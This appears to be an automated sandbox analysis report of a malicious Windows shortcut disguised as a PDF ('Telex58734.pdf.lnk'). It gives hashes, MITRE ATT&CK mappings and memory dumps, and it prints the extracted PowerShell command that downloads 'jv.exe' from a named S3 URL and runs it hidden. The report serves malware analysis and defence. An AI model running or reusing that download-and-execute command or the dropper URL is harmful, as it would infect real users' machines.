b137bcb29d0d26422581e4e556bc1f9f29096d21de865c7d1a3e945434edd07f

Analysis

max time kernel
118s
max time network
118s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
29-05-2024 17:06

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General

Target

Telex58734.pdf.lnk
Size

1KB
MD5

ee0e01d5cde42c26bba7e8b06380c146
SHA1

042c5bf844185917bd38d86b88640656b8710c2b
SHA256

b137bcb29d0d26422581e4e556bc1f9f29096d21de865c7d1a3e945434edd07f
SHA512

2af9903fb458549dab35e290229d62a68f692dacb3515d66e092b86bc24e8e4c4e79c80ab6d0df42a0e11365f27ece414acc04f4932f23dd588ce89e89f98831

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://compliancekyc.s3.eu-west-1.amazonaws.com/jv.exe

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2592	powershell.exe
6	2592	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2592	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2592	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2592	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2172 wrote to memory of 2592	2172	cmd.exe	29
PID 2172 wrote to memory of 2592	2172	cmd.exe	29
PID 2172 wrote to memory of 2592	2172	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Telex58734.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "$wc=New-Object Net.WebClient; $wc.DownloadFile('https://compliancekyc.s3.eu-west-1.amazonaws.com/jv.exe', 'C:\Users\Admin\AppData\Roaming\jv.exe'); Start-Process -WindowStyle Hidden 'C:\Users\Admin\AppData\Roaming\jv.exe'"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2592

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2592-38-0x000007FEF5C7E000-0x000007FEF5C7F000-memory.dmp

Filesize
4KB

Download
memory/2592-39-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2592-41-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/2592-40-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/2592-42-0x0000000002780000-0x0000000002788000-memory.dmp

Filesize
32KB

Download
memory/2592-43-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/2592-44-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/2592-45-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download
memory/2592-46-0x000007FEF59C0000-0x000007FEF635D000-memory.dmp

Filesize
9.6MB

Download